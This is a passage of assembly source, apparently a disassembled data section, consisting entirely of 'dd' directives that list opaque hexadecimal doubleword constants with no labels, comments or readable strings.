0F5CAF2DCh, 0DB2FC3F1h, 137AF978h, 529C0699h dd 44FBB561h, 0C1780282h, 9D7B5616h, 0F64502A6h, 9DDEA07Ch dd 484AD062h, 0EA5E9FEAh, 87E66A47h, 0E507225Bh, 14DB645Eh dd 48828E83h, 4845B27Eh, 0DA5601D8h, 2ED91B15h, 31951DE7h dd 63165609h, 54B8DBD8h, 1FE86083h, 8A001AFBh, 9A28F29Ch dd 0F9B35B1Ch, 374AC8F3h, 0BDAA87D4h, 0BF413B0h, 0B9E6F4CCh dd 86C43C90h, 6801B0Eh, 0A6406099h, 2BF92DD2h, 7A5E0C9Bh dd 0D8718854h, 273ADCBBh, 61923167h, 0FC73CF28h, 2C1BF37Fh dd 0B346807Fh, 7A319237h, 90784CB1h, 1F3F5733h, 0F43F58Dh dd 0D1B6584Eh, 406CD767h, 0C2CDC53Fh, 0F59042CAh, 79888C5Ch dd 0D22D9D25h, 0ED2D4E7Ch, 54167C12h, 349B7075h, 99FE674Ch dd 0BA00585Fh, 0CA1DD6ABh, 282C4C83h, 6908BADCh, 0E513C658h dd 9F17A68Ah, 6F81CCF2h, 0C97D53DDh, 0CFA56A33h, 863C5DAEh dd 93A8F33Ah, 75F5E84Eh, 0C97ED29Bh, 58CF8B38h, 793A3EF5h dd 9AFD0478h, 9C680A01h, 764288C8h, 0B205B607h, 10A5B1AAh dd 0D6CAD9ADh, 0C5618D08h, 167ACF1Ch, 3AA712BBh, 0C0AD2201h dd 0E7427458h, 0C49A650Bh, 63A2BECEh, 674B46B8h, 0BCD49325h dd 34B10A50h, 0DACA587Bh, 5328408Eh, 6827CA1Dh, 244DC14Dh dd 0A8902DA1h, 56923E87h, 9197BC5Bh, 0C70073E7h, 73E1D6FCh dd 53D86448h, 0A7A3DB49h, 8D9412B1h, 6939CC7Ch, 0BB62AA32h dd 0EAAB0389h, 0CA350C56h, 4076DDF6h, 84AB6812h, 59C1D62Ah dd 0FB0D2D3Eh, 0FB7B1206h, 0A14107A4h, 0BBF5A58h, 35109D0Ch dd 2E0FF1D4h, 0B9F2F2E8h, 70C73C6Ch, 180BBEE9h, 0EBA6FA8Fh dd 0BA90C8BDh, 0A9364B34h, 3B207077h, 3ACA7577h, 0A845DF74h dd 978A787Dh, 0BC946782h, 0B53E971h, 0D10E402Eh, 0BEC10565h dd 87BF60Eh, 0BFECEAB5h, 0FF0FD5EDh, 3BBCC765h, 2F2D3472h dd 6AC85033h, 9C0E924h, 87A75052h, 25494583h, 9A309E4Bh dd 921C59C8h, 5517A35Eh, 94AD19BBh, 0D791046Fh, 9EE5CD39h dd 5560DF43h, 7048DC7Ah, 0B11B8AE7h, 3C9C1D97h, 0F74670B9h dd 3E74771Fh, 9F2F4F57h, 0AFFB389Fh, 6D8D60CAh, 1D5876B9h dd 71B4235Ah, 1F0A762Eh, 0F6CA2709h, 0B9B63015h, 30E5E054h dd 947B390Ch, 69A23331h, 95E63072h, 899DBBAFh, 0D7041CE8h dd 0F25E08BCh, 1E08BDFDh, 0FAA6BADEh, 0F1CAB6C6h, 9DFFEEAAh dd 0B58828E3h, 851CF72Dh, 838834F7h, 0DF94813Ah, 61312292h dd 5DEEAA42h, 0EDCB41F0h, 895B94FAh, 0C9FAE561h, 0A99E36FCh dd 4A1BA750h, 6E9A2992h, 0F46287DBh, 0E86A6C40h, 424E296Dh dd 0C938DACFh, 58E72DD8h, 0DB23203Dh, 20127675h, 3EE7FD56h dd 0D5D76F88h, 8F3B10BEh, 5A10D26Ch, 6A465854h, 12502300h dd 9045F88Eh, 935DCA3Dh, 0FCD416F8h, 9DFC8611h, 0E8E70793h dd 8408F83Dh, 947BE4F0h, 0DF99BD6Ah, 1795A848h, 28B29BE7h dd 90767929h, 0EC1CCCD2h, 0B0EB6401h, 0E9BEBCB2h, 3FBD6892h dd 7206AC38h, 0B271BFDEh, 0D7AF5DCFh, 66D1F9Dh, 67D4C486h dd 615E6BCDh, 1C12818Dh, 0CA8228C2h, 9397FAD8h, 5C0E1228h dd 77DA3E3Fh, 7DA422B2h, 2DD34C82h, 0D2438DFFh, 0E0B6FA7h dd 989DD189h, 0F4AC6E8Eh, 0EBCEE9B3h, 3251E167h, 77BAA5Ah dd 5D368EDDh, 9F096A98h, 87DBF11Bh, 33708C16h, 752BC8E8h dd 5A94CDB3h, 6666A51Bh, 0E09D4C3Ah, 15A09138h, 40F8BC16h dd 56239C4Ah, 27F69F31h, 42B3380Dh, 90B99B14h, 0ED01AF24h dd 9C0A9316h, 6C9892B9h, 27CF54D2h, 9E5EEF70h, 0EA13BA0h dd 0AC8A2722h, 6FF4536Ah, 3BBE63D7h, 0EADFF5BDh, 7CF5E98Dh dd 0C63F2470h, 6D3997D1h, 0F7FD1B1Ch, 0B0D3CA89h, 55C92D48h dd 0D104E299h, 0D2035636h, 289E6A0Fh, 364468F1h, 4A0450F2h dd 82C54A02h, 0A46324D0h, 1FAB156Fh, 712586F2h, 365BF9E4h dd 0F2440174h, 0AF79FC16h, 0EB162175h, 0CFB10796h, 0FC122AB1h dd 75886C96h, 30D2ACCCh, 0DE9D4DF5h, 11372B8h, 0C737370Ah dd 0BD09A9C1h, 3FFC250Fh, 0ADF3B780h, 0D55EA1B9h, 0F4990064h dd 81977212h, 9E77BC18h, 39347AB1h, 4D6EA36Ch, 304A02FAh dd 764B959Dh, 0F32005B7h, 8E2F3F2Eh, 46A39D95h, 0A842D4E7h dd 5C72A52Ah, 673215B2h, 5EF0FDB4h, 3DB90748h, 0B7CAE155h dd 5E597DE7h, 0BEC1BBEDh, 95A2D1F2h, 0B0B427BFh, 5500ED02h dd 0B78F782Eh, 0E6535789h, 0EF25EB1Eh, 0E0392301h, 21EFD9A0h dd 579C7F5Dh, 0D6E1575Ah, 0F0B005EDh, 452DC0BDh, 0BC706CBBh dd 0D3D328D3h, 73FF6C25h, 494AB927h, 9852AFD4h, 437E624Eh dd 402CEF47h, 0E4C1FDACh, 0A91C552Ah, 70865CF1h, 14A13742h dd 8D863E55h, 8FD400E5h, 0D9253293h, 0A079D7F6h, 761B2767h dd 0EBE29C64h, 549462ACh, 75C95F41h, 6CDDC32Ah, 5AFE6D54h dd 9AE0DB9Dh, 81D54AA1h, 15E1D127h, 3F7DF102h, 33ADF248h dd 7738749h, 31D54Bh, 319F24DBh, 11F4C8DDh, 0AD4C08C8h dd 5452411Ah, 0A08B625Dh, 0AEAE7524h, 5ACAFBCAh, 421CB8F5h dd 0A12A7F98h, 781CE6DAh, 0BB341A1Eh, 48408ACCh, 69EFC592h dd 3C03B14Ah, 9AA4267Eh, 0F2F0EEC8h, 5455A490h, 49FDB720h dd 1054F219h, 236302C4h, 70B3F120h, 86E0B209h, 7842DF38h dd 9F03CF15h, 38371567h, 8365E0EAh, 0DF0BD278h, 868C3159h dd 0EF4437DEh, 1F16811Ah, 3C5D4F9h, 0F435977Eh, 0E7A129D4h dd 44C8DB4Bh, 7B54B5Ch, 0CD2749E1h, 9B8EDB56h, 98051759h dd 571B40A1h, 9D54FE5h, 9F0C3B53h, 0D88B4FADh, 479D483Dh dd 0E8E20604h, 0B247028Eh, 0F70F8FB6h, 6F1F980Bh, 0E36D1006h dd 1A98DDA9h, 0B4A43DF0h, 694C5B99h, 293677B7h, 0B379E174h dd 4AADD67Eh, 47DF6EDFh, 4E4D6F49h, 0C200CB34h, 1CCAED8Eh dd 0B2328C59h dd 0E953F46Ah, 48F4668h, 0CF78E660h, 54CD9D31h, 457F9671h dd 0CF8FC46Ah, 1855F2C1h, 7EAD24E9h, 24F02F65h, 79BF7F2Dh dd 9E4B9892h, 0BC3036B2h, 6D0B8373h, 3F6C95EEh, 109CF098h dd 4251F9FDh, 3086D8BCh, 25B51DD0h, 1CB04CB7h, 34C20C73h dd 0F5BF9A34h, 0D97C192Ch, 0F6CFF669h, 0E34054E0h, 93B14118h dd 0A93BB63Fh, 8AEF3B1Eh, 0A6C8C059h, 283180EAh, 7BCB7BCEh dd 5EEAECFAh, 6C9CC21Ah, 0AE342574h, 134D51F7h, 700818A7h dd 0B6AE5978h, 7EB23E09h, 9848B911h, 0F23B7208h, 0EF100E4Ah dd 3640901Dh, 351D6AF4h, 0CDAC392Eh, 0EAD2EEDEh, 0F8E322F2h dd 3F3A0921h, 209F7E9Fh, 3A9C815Fh, 6EAB05D2h, 6B3A45A2h dd 3BD706EFh, 18858136h, 1C65EEFDh, 8C5F240Fh, 5DBDC6E5h dd 463BAAB6h, 396D8629h, 2069E881h, 952FBF06h, 7E5C081h dd 179267F8h, 609D28B0h, 0E782C779h, 0DEF48824h, 0A16EE949h dd 75BFB382h, 0DB549E0Eh, 52100720h, 0A1CFB977h, 8610C4BAh dd 26CAC476h, 647DAC05h, 0F094592Bh, 0BC04E7E8h, 13FE7504h dd 593C33E6h, 0F24A5FB0h, 2BE93E6Bh, 0DAB58446h, 2B3204B9h dd 19BC2611h, 34C1F04Ch, 0EC618187h, 766637C6h, 0D9D03605h dd 0ECE95C25h, 0D02BCC85h, 8EA273Ah, 0BA140BA9h, 0F287135Eh dd 0F8CE67A8h, 642D2ED6h, 9553B565h, 0DDC036A4h, 0BFE51E6Ch dd 0C54FCC6Eh, 499A46F8h, 6F17803Ch, 0C1674C24h, 0E8B4B4F3h dd 4C999E17h, 529988C3h, 44EBA0F7h, 3D158270h, 8B723E20h dd 0A5C4C6B6h, 68D20984h, 0D761BE5Ah, 0A45CEB93h, 684D5FF2h dd 6A3EDC09h, 3FDFB7B8h, 6A1D6D2Ch, 554B77E7h, 62AA08CEh dd 441DA4F2h, 9103D6ABh, 71D3EBCBh, 0B905B42h, 0F40D43A5h dd 628E9E35h, 0EDC3F21Ah, 5F230D8Ah, 64BCEEB6h, 3163B7C7h dd 0AF1B3648h, 696AE299h, 3309D8E3h, 249CB874h, 7987C10Dh dd 0E8E713D0h, 0A17B3DD2h, 0A514AFEAh, 21A402Ah, 0FBDAEA31h dd 0C613F85Eh, 28F1063h, 83DFA240h, 0E1AA8D32h, 2F6345ECh dd 0E80DB78Bh, 0C4E168E2h, 0B4B6A3A2h, 57F7BC01h, 5B8082DBh dd 59BF7402h, 0CF8C1DBh, 7F5195A8h, 5C17F1E8h, 11518491h dd 0DE333556h, 3E1B9828h, 70AD113Ah, 3A31C30Dh, 9C18F542h dd 0B511FEC5h, 33F1F688h, 16473BADh, 4D590F48h, 91910D65h dd 0D37AC22Bh, 2CC964F1h, 66651630h, 7898E050h, 9AF647F2h dd 403EE8C5h, 0A244BF2h, 0FF2CEFE4h, 283F5BC7h, 6577AC9Ch dd 4D0A62CBh, 1B3BCD96h, 8D55D4F5h, 5B7BF0C1h, 17813481h dd 0A197B99Ch, 27C80Ch, 1B1DD876h, 0D3D496E8h, 0D2835F5Bh dd 0C5B72F55h, 5F817637h, 3EF43E5Ah, 92F459E6h, 88287CBDh dd 0A25803A0h, 9686CF33h, 59318A6h, 6DFB44B3h, 88E1C2Ch dd 97A022A6h, 963A107Bh, 7FD7F198h, 8DB82E38h, 0C81C65A0h dd 4A197072h, 0D31B6546h, 0A25CF251h, 353D052Bh, 33138E99h dd 9FF275B6h, 173F533Bh, 11C0806Fh, 0A4007F7Eh, 18CF4829h dd 0C2292BBFh, 17904A93h, 0B1CE4621h, 0A7DB4C9Bh, 4BCE643Ch dd 395BA5A0h, 59784E58h, 45788BCCh, 0F5EA9D16h, 0BA888D82h dd 0F03176FBh, 3B580BDh, 0F15FEB2Eh, 0D01F8363h, 2BF38594h dd 7BC4CFA5h, 9042B78Ch, 7DE62D49h, 954C708Ah, 9795EF42h dd 5B9E1A99h, 6EE9765Ch, 8602A8B3h, 0B211398Fh, 8E06EC06h dd 0DABA5DCDh, 2BE3223Ch, 48E8111h, 0EBED50E0h, 588F7BD3h dd 0BAFC4F5Eh, 0A6788D9Dh, 24BB2476h, 0FB29A1ADh, 62619887h dd 8320F46Fh, 0BEC8486h, 1AC1D4E4h, 0B26A5A51h, 462F5617h dd 850FD2B9h, 0F0F5B2C2h, 10663CAh, 886BA500h, 949BFFC7h dd 95F2E7A1h, 0BCDB168Ah, 26EC782Dh, 6D6AFF86h, 0F9A29130h dd 6ABA1649h, 84D1263h, 0C8909A7Bh, 0C30D9DBAh, 9182314Ah dd 688B9317h, 4FDEEA22h, 3EB1B82Ch, 9D014100h, 0C301D624h dd 96B83849h, 0D862649Bh, 0F2B5736Eh, 0ED17FB58h, 0AB404A0Ah dd 89D48DCFh, 0B1A7E1B2h, 18BD21A8h, 7DD3BBB1h, 7144F908h dd 1EF2C6B8h, 7A13F6ACh, 0A5957704h, 2AE5F38Bh, 0A56D1806h dd 0DB4A89D1h, 8681534Eh, 8388E2FCh, 248F75EBh, 1EFCEE6Dh dd 0A54695CCh, 89C65C3h, 0C8030967h, 9B1BB6Fh, 39BA3387h dd 1D84B4CBh, 478A9094h, 0F93CC2B2h, 4B07853Eh, 55960C37h dd 0DBDE4D2h, 4C5EF6D2h, 61F8150Eh, 6BD8A4D5h, 30A5DF42h dd 0E1A4CFEDh, 2C92A2F4h, 4059D88Ah, 693C5E86h, 0CDA7C814h dd 9C61E387h, 850C5B39h, 0DDBE2C0Ch, 0B3993D57h, 7B2B9A64h dd 0FB0B4E10h, 1F9A70Fh, 0DF5E284Ch, 156D7187h, 0A03E5E0h dd 2C6EEBEDh, 0FB7CD11Eh, 6A4F6D3Fh, 0DD00F062h, 4860B8FBh dd 0B2FFD0C6h, 696A23Ch, 3EC7DCB3h, 0BB22A4D6h, 4CBD41E8h dd 0DFBA10F1h, 0EA6CB101h, 0AAB11E14h, 0BA792659h, 2E7D8278h dd 9598A5F3h, 270BBF04h, 0D599D0A6h, 8785B551h, 9A81FDD0h dd 334F982Fh, 88457D0Bh, 0BD3391A7h, 0BF2706FFh, 0B244F268h dd 0E48E6B7Eh, 4EBDBE5Ch, 0AA2BAE39h, 309DB196h, 23AB1C26h dd 97F9F36Bh, 0BC0D8DC0h, 0DC3F3530h, 0A46BD383h, 76A52A3Ch dd 0EC47BC25h, 0F43E69DDh, 49F52D41h, 0C2B59996h, 46E41925h dd 7DB8E6BCh, 7D7B8E64h, 8D7F2D3Fh, 761544A8h, 0AE66B78Fh dd 91A6ADCDh, 78253514h, 0D04CC789h, 0B5A50EADh, 0D58FC075h dd 2D4C577Ch, 0B666B85Ah, 0EEF5573Ch, 0CBE56394h, 5469E95Eh dd 7E1BD2B8h, 7CF5C3D2h, 0A59915E3h, 4E93173Fh, 1CDE7ED4h dd 0AE0D0B14h, 0C4E9C294h, 59D738E6h, 7E7D686Bh, 3E03E638h dd 0E660C63Ch, 0EED30E0Fh, 490DFFEEh, 0EA03EA0Eh, 56CC9383h dd 4822E45h, 699E961Fh, 842DA81Ch, 5616320Eh, 4B3804BAh dd 47925DCBh, 175422B4h, 0F4A9F936h, 7A8E772Ch, 7E5765B2h dd 6C0DC88Ah, 0BB085572h, 0F4D1A4DCh, 0D95B2A09h, 453739DDh dd 78F3CDC2h, 0EF14A837h, 61913E61h, 60D2691Fh, 7AD6CF48h dd 37ABEA20h, 40BC6B03h, 38C9BDEBh, 0DBE2945Dh, 2D7CC120h dd 0FAA4A200h, 191DF2A1h, 8D8A8B5h, 4419F79Ah, 2B64C77h dd 0F1DC9A4Fh, 39BDA9BFh, 759D7694h, 8EBA952Fh, 16ED316Fh dd 46B3175Eh, 41F1AF4Ch, 486787CDh, 133B789Eh, 4DC478C3h dd 0B94C8351h, 0FA694535h, 4C4D6749h, 0B6FA7CC0h, 80D537A7h dd 3C7564A3h, 696B17C3h, 23CCF6BFh, 932249Ch, 21A0E2C3h dd 0E3E82247h, 16EA52F1h, 9C2F8727h, 93E79F24h, 0C60E5282h dd 0B76D4F2Bh, 0C807E140h, 923B3A24h, 68E59D1h, 0BBF11209h dd 5EB5A397h, 0CAC8A492h, 80CDDBA1h, 406410DBh, 0D765D899h dd 4B84DD1Ch, 0D029DC84h, 0D0D41A3h, 0EE11380Eh, 475F4117h dd 179BF0B8h, 85C082B0h, 13D48749h, 55236567h, 8918A8F2h dd 4749199h, 52A8F785h, 2AC7ECBBh, 0EA2107F4h, 0BAF1708Eh dd 8E8FEFF9h, 5B76E552h, 90AA80EFh, 79BD433Fh, 0B0575EFAh dd 5B735A52h, 0BBC474E2h, 7EDD3C8Ch, 84EF0DF0h, 3D288758h dd 0C851BF15h, 2E82EE7h, 0CA19238Ah, 0F82F6315h, 79C106A8h dd 0CEE72F7Dh, 0FA847C1Dh, 0EA84B246h, 0C71F068Fh, 3E9B268Ch dd 0EC1FF2EBh, 0EB716D85h, 0A32F5FC2h, 218FF155h, 8DEFBFB0h dd 275B269Eh, 2A50153Ch, 5817FB8Bh, 92B4AC07h, 0C0B7405Bh dd 0DFA24261h, 0AB63CF26h, 0ACFE68BAh, 0C3243D43h, 610D0E7Bh dd 0B9C5B797h, 784A4D15h, 3BB9C9Eh, 0DB4CE00Eh, 6517C64Ah dd 474A0368h, 53861EC4h, 680E802Ch, 0A8C17247h, 91238606h dd 880DCCCh, 891AF5CFh dd 0CC545A8Eh, 6E9CF18Bh, 19568048h, 0B747082Ah, 966FC311h dd 6DA8382Ch, 0C5E3C9CEh, 79B6FA7Dh, 0F3CDEE10h, 8A4BAE13h dd 0C4FD3398h, 5E516045h, 7F4668A9h, 7972CBB2h, 0C8A6BC6h dd 0DF8BEEE8h, 978C5B58h, 0D5CC543Ah, 28E82071h, 0B3606Ch dd 0CAACB9Bh, 3D703A36h, 629D3916h, 7EBF5303h, 0F1FFB8D8h dd 0C0B2BED8h, 0FB6F2EEFh, 0D57C99FCh, 0A70D8A8h, 6407ECFEh dd 45E48D4Bh, 59773285h, 3B821869h, 33256ED1h, 0B879B43Eh dd 9CB46321h, 0B7839950h, 90B6D4C1h, 4D7A36A1h, 0E468601Ah dd 0AE5DD871h, 4B1BC9ACh, 973CB7DEh, 6D904909h, 42A394BFh dd 1531A754h, 10B1AF7h, 70F155F7h, 77D79D58h, 0B273EED2h dd 954454BCh, 0C3B30EFCh, 98D74726h, 182E9F01h, 672A923Ch dd 0B2804370h, 0A6BAD4EEh, 0A375B356h, 9CC33E59h, 20DD6B92h dd 6E162AECh, 0A9413EACh, 0E20FDE18h, 5057E963h, 0CF875852h dd 5DFE9D38h, 307B03A8h, 0C78BBE2Ch, 21C2C8D7h, 0E330E13Fh dd 0D944B15Dh, 79D26BB5h, 14E394A8h, 0EB2C84BDh, 0F83F3069h dd 7FD49A2Dh, 7AF472ADh, 3363FDA9h, 616E747Ah, 0A2F859A8h dd 0CACF3225h, 8D0E03D1h, 0DA390341h, 4466CCABh, 0BC9C9E40h dd 68A588DCh, 5CEA6909h, 3FE308C2h, 0CB64FC8Dh, 0FCD0C271h dd 54710E42h, 89EDE11Ch, 0D249DA9Eh, 0C94EC520h, 0ED44A5A6h dd 0C2CE70EBh, 4759AA5Eh, 8D4383CAh, 5C019B61h, 626FA6Dh dd 34EB3382h, 0CC3A7BDEh, 33F150F6h, 0FB7CE684h, 1470628Ch dd 86350EE2h, 0EA35D1E6h, 8057BBC0h, 3B16BFA9h, 9A9400D5h dd 0E0B980CFh, 2BE4B4FAh, 4E33879h, 52A86F0Dh, 0E6741B79h dd 0E389DB74h, 76BE0D9Dh, 98805D34h, 42A6096Eh, 5A8FAFD1h dd 62350911h, 5F778Ch, 895F03EEh, 0D9DF6C3Ah, 4D745986h dd 0FE53ECC0h, 7D8460D2h, 20EE6F83h, 0DFD5C2C7h, 78293D88h dd 0C5D53F33h, 50AD43EDh, 1C94216Ah, 926DE8A7h, 82C3C3B9h dd 9F2CB90Eh, 0B09C5D96h, 0E9018A21h, 81F3A600h, 90F81E46h dd 0A6439BE6h, 0B91872FFh, 7ED86F9Ah, 53A71907h, 0C6B18FD1h dd 3353C7C4h, 28060719h, 5201D3E2h, 0D3C3EC1Bh, 0AFB41AC9h dd 21CFD33Dh, 2AA81D9Bh, 0C91D2447h, 3219A1E9h, 8A39AD9h dd 13632EFDh, 0E344D4A9h, 10206D3Ah, 38BB3630h, 0BE6DF2BCh dd 0AAEC0504h, 27578AD8h, 616298F4h, 76CC7C45h, 7AB6F6B4h dd 47B91E09h, 7D80DDD2h, 662A1303h, 1D541160h, 3949B181h dd 0D95F995Eh, 1F19384Bh, 2C81450Dh, 204E7754h, 7081FA12h dd 7BEC932Dh, 8A9BA9B8h, 90DFB91Ah, 462E76E2h, 98249123h dd 0CBA26788h, 327F0BA1h, 0B9717BE4h, 0EBD1986Ch, 4DEF681Ah dd 0ADC42E5Eh, 0A445A566h, 0E04B5377h, 6C8566h, 2BA554E1h dd 0E2B2779Eh, 311B6082h, 0D2766752h, 100D744Fh, 828065C7h dd 5436E436h, 2CD54ED8h, 2FC31161h, 0FE5030E3h, 0F493F29Bh dd 0DC59C035h, 0DF1F31E7h, 0E8AE163Fh, 0A893F871h, 16651894h dd 0A8EA2351h, 1CAD083Bh, 8A48D372h, 0C26D53B3h, 1F439817h dd 56ADCF6Dh, 0B8A0DC66h, 0A802C0B1h, 0E821BB19h, 0FACE69D3h dd 252C1C21h, 63A6B75Fh, 8974E447h, 345229F0h, 82242E32h dd 989563E7h, 0C7ACBB48h, 534C2E27h, 0FB03E071h, 6413B323h dd 0CC7E913Eh, 0BA5BBAB8h, 889D7D2Ch, 0CB7E905Fh, 0E9EBD4D1h dd 0E37F10E1h, 28CCF941h, 6A1EF9CFh, 0C641FEFCh, 230102B0h dd 0D563D241h, 51B4E85Fh, 2296BD07h, 4D417EA3h, 5248A116h dd 487B740Dh, 41CB3BD3h, 19551920h, 509DE9EDh, 0E00DFD3Ah dd 52BFB767h, 8E31D4EAh, 5AC48CCBh, 0FE766249h, 0A03B609Eh dd 786FFE4Bh, 0F8B3308Bh, 59F35ECAh, 0A40AA51Eh, 0A5311331h dd 0A9B564D3h, 15AF25FFh, 0A4B6A1Ch, 7AF880B5h, 0F31E4EFBh dd 0E4375499h, 7BBCFFF9h, 50D5AB0Fh, 8987A0ABh, 0E1026F0Dh dd 17F31111h, 43EEB0D8h, 9A4B44BCh, 53F834Ah, 0DD9F0A44h dd 40E9C876h, 7AB3F051h, 0D4B4888Ah, 0EF975ACDh, 0EBBE6555h dd 3E46A525h, 0C4604290h, 4D4F085Dh, 8FFAFA8Fh, 0E8A420DAh dd 85B61673h, 93D177F1h, 0B79FEC65h, 0C7C255C5h, 3A0A0CADh dd 39EA0004h, 12AD9395h, 0F708428Ah, 0CC4BAAEAh, 0E5BE124Ch dd 384754A1h, 0A1AF464Bh, 227CA8F9h, 59DE1D3Ah, 0B2A00076h dd 7E962C4Fh, 70BFA515h, 0CA16D9FEh, 5703E79Dh, 0CEBDE5A9h dd 98F3FE77h, 88FEE2F5h, 0D4886AA3h, 727F6D7h, 6AE239A0h dd 8966A30Fh, 0AB742FA2h, 0DB8CF893h, 380DB771h, 2AEF3B87h dd 0E415B834h, 0A19171A6h, 0BE320F4Dh, 0F1F7CAF2h, 56A44D6Ch dd 0A73F0252h, 7CE622B5h, 0B86B7E56h, 0F71943C9h, 0AF7CA83Eh dd 0EAA90964h, 0F0245B3Dh, 0B32CDD53h, 5A76BCF7h, 0BEF1266Fh dd 210C0ACEh, 3C643354h, 0A50CFDA8h, 9538A028h, 5B5B102Dh dd 1DF1DBADh, 221F0F8Ah, 26F90553h, 0E267824Ch, 0B1C88535h dd 0D8FF29EAh, 91E8BD68h, 348225ECh, 1B803EB7h, 3D70A3E0h dd 3B20D74Dh, 4E861729h, 0B5BDF18h, 0A1049A4Ch, 0AE51F2EAh dd 0E26A0093h, 0E2A4A02Bh, 0DE4A3792h, 297FC2Ch, 59A111F4h dd 0BA6979B5h, 0DEAAF2F9h, 7A269FFBh, 3D9C61DFh, 75BB0C2Fh dd 0D9FF5ACEh, 78809026h, 0FD81A9C5h, 73B434F0h, 2A96DD69h dd 0A6CDB359h, 0C2638A4Ah, 29DCEEBFh, 53A731CFh, 41854075h dd 8FD59DC7h, 0B2F7DF9Ah, 5F35928Fh, 3D037919h, 5EDAB8D3h dd 71B38A32h, 0C117E9BDh, 0A8A0E52Ch, 31C98F2Fh, 78FC96A2h dd 545438EBh, 5F0A0C22h, 14EBD55h, 2427E8A4h, 0BE5D064Dh dd 6D5FAA1Dh, 61791EE7h, 66246A48h, 99DDDB1Bh, 47133C55h dd 72ADC378h, 0EB9CEB68h, 5158AE8Ah, 0F379C677h, 36640E99h dd 2DA87EC8h, 95E7D170h, 0C945C467h, 0C4E0873Bh, 0C67F33DAh dd 5F7935C3h, 0A728F01h, 74F7AFAFh, 16915B25h, 5BBB0137h dd 54D02B45h, 0A2ABD9DFh, 12A5C28Eh, 0B7CACDD1h, 0B72C9680h dd 6BAA50C4h, 495CEA11h, 0E60AF44Ah, 210A6D38h, 73EB0FDBh dd 953F6580h, 0A2798048h, 0D8E74834h, 479AF707h, 0F7176210h dd 0C649BDE5h, 6DD90C89h, 5929A2DAh, 0D786CCD0h, 0BFEF40DFh dd 0C1EAEACCh, 0C03EA641h, 0ACE06A2Ah, 0AE297CD7h, 267DE939h dd 0C2548711h, 3CE12941h, 49906BE1h, 22BE730Ah, 6DF4E9DEh dd 6336438Fh, 68583154h, 56BF12DEh, 179C4714h, 40A0A399h dd 70247851h, 31490152h, 0C5E92EF2h, 32EDC786h, 333F6803h dd 9784C611h, 6D2AFABDh, 0B05998D9h, 0D679B9FBh, 97B4A65h dd 8B08F02Fh, 52FB0FE0h, 51DB381Bh, 0CBB40E3Fh, 27B7C834h dd 6906CA38h, 0B789C926h, 0BA452891h, 0FE4B49D6h, 803761B5h dd 0AAE3E680h, 0F3204493h, 0B98802D2h, 4FB0CACFh, 285BB284h dd 1982BB2Bh, 612F69B1h, 0D24653B8h, 0A4F4D805h, 1169E1A0h dd 0EEE5DAC3h, 8E6AA2B0h, 37D5ADA6h, 5A384E76h, 7DCB9965h dd 3BFEECE2h, 0D695C48Ch, 99AC07B6h, 246EA9FEh, 451BF900h dd 7F5D6916h, 4740FB7Eh, 0E504666Ch, 8192C712h, 0E7DC2EADh dd 4FEA2E4Fh, 0F31A31FDh, 259C146Eh, 0D8906B3Eh, 4BC3A31Dh dd 9732DD71h, 0A77F3528h, 34420CCDh, 0CA52C079h, 0A275C1B5h dd 2D1C1634h, 9D8F741Bh, 0ED156348h, 6B28D978h, 3711669h dd 96E8E67Fh, 9FDF8EA4h, 473B0F09h, 64AC4FABh, 0B0FD8D53h dd 0B51ED125h, 0B397BC90h, 0E29756B0h, 0A273CFEAh, 93E6ABAFh dd 0D28A93C4h, 0A9D0E132h, 0F1C6877Ch, 5B72AC3Ch, 9F028396h dd 298E9FA3h, 647A3790h dd 0F0377904h, 290EC18Eh, 37576836h, 19787Dh, 0E19190E5h dd 28E8270h, 83086E6Bh, 8CCCE517h, 5C53756Dh, 0E1AF78ADh dd 0B8DC17FDh, 5936A73Ah, 0BBCADBCBh, 0C4F66F35h, 0C17A79D1h dd 0D5582E69h, 7C7117A0h, 4955E9E4h, 1A7F4E27h, 5CCE4293h dd 2772632Ch, 3FB803B7h, 0BD707619h, 62A0EBDAh, 8C5F5BC0h dd 0D45E8DF2h, 9B171582h, 20D4002Fh, 72737B65h, 59AD56D9h dd 0B1BF6AD1h, 0DC72B79Dh, 0EE6225A4h, 0C2AEA47h, 0A6E06DDCh dd 579235CDh, 30D19C93h, 0BE5A85D1h, 0EAA68086h, 5536C57Ch dd 1EA06F13h, 0D7D32505h, 524FEE4Ah, 0D46CA547h, 5228FE1Fh dd 8AF04875h, 13199B78h, 95CB779Ch, 34DAD911h, 0CCEAFE7Bh dd 27E55721h, 0F8C44C2h, 32784609h, 851264Ch, 6CAAAC04h dd 82A37A97h, 4484DE32h, 397A181h, 0DDDA422Bh, 0E635E863h dd 0A059ED8Ch, 7A5C30D8h, 0FE81EFEEh, 97009A3Ah, 61084AB2h dd 517807BFh, 0A574CDEBh, 0B42D4146h, 534C0B98h, 0D9A4062Ch dd 57947832h, 347D71C1h, 0E1C8E2Fh, 85B55A5Fh, 8523D235h dd 0A5F3768Ch, 60DA893Fh, 3DA9341h, 0FCFD5BCAh, 4D9CF84Dh dd 0C9C13A29h, 626B6273h, 55E5FF6Ah, 0B8DACF02h, 0C83E6D0Ah dd 0A2600BE6h, 441D7213h, 8C5E5Fh, 3147394Ch, 0F7EEF982h dd 5B110181h, 7D56AE0Bh, 1874FDA3h, 32E9DE0Ch, 0DA8691BDh dd 778B238Ch, 0C13CAE5Fh, 81840F44h, 0DE056CD8h, 27F8FEB5h dd 3B9F6E47h, 0AD26F65Eh, 416B2CAh, 838511DCh, 0FAC2B540h dd 0BC49ADBDh, 758EA6AAh, 7485D2FBh, 428B5F59h, 73AE4262h dd 1A4E2432h, 5918873h, 6C97B624h, 0DFAA6E85h, 602AE6C7h dd 0F540F04Bh, 5A08DA6Bh, 4B11B1ADh, 42CD1D35h, 5A61DCA1h dd 0AB7E7102h, 18DE6417h, 0D32FEE25h, 0A5BE8FBAh, 67C012D0h dd 21322179h, 2A37EAC3h, 0D0B6C24Ch, 67D20CB5h, 709F80B1h dd 0FC51FAAEh, 95DBA7B8h, 8B355927h, 0D2DD5433h, 916DE7CBh dd 1207F860h, 4910039Dh, 16825B62h, 788F7A38h, 3A88FA80h dd 27A05685h, 0A192DCACh, 60D7372Fh, 0EAA26600h, 0FB12B77Ah dd 7CB36A75h, 8A7C3A68h, 487966E8h, 643BFA68h, 0DC6DCA3h dd 0EA379090h, 73415D19h, 0C2AC5E71h, 0CDB19E65h, 0CDE50F8Eh dd 0BC961165h, 8B7CE76h, 0E4A93B2Bh, 29803CF7h, 7ADF9E13h dd 0DD19397Dh, 0BD28BB54h, 97830DC2h, 0C69C359Dh, 0D03A7290h dd 8C5D9EDh, 7CD748DCh, 9E4D40Ch, 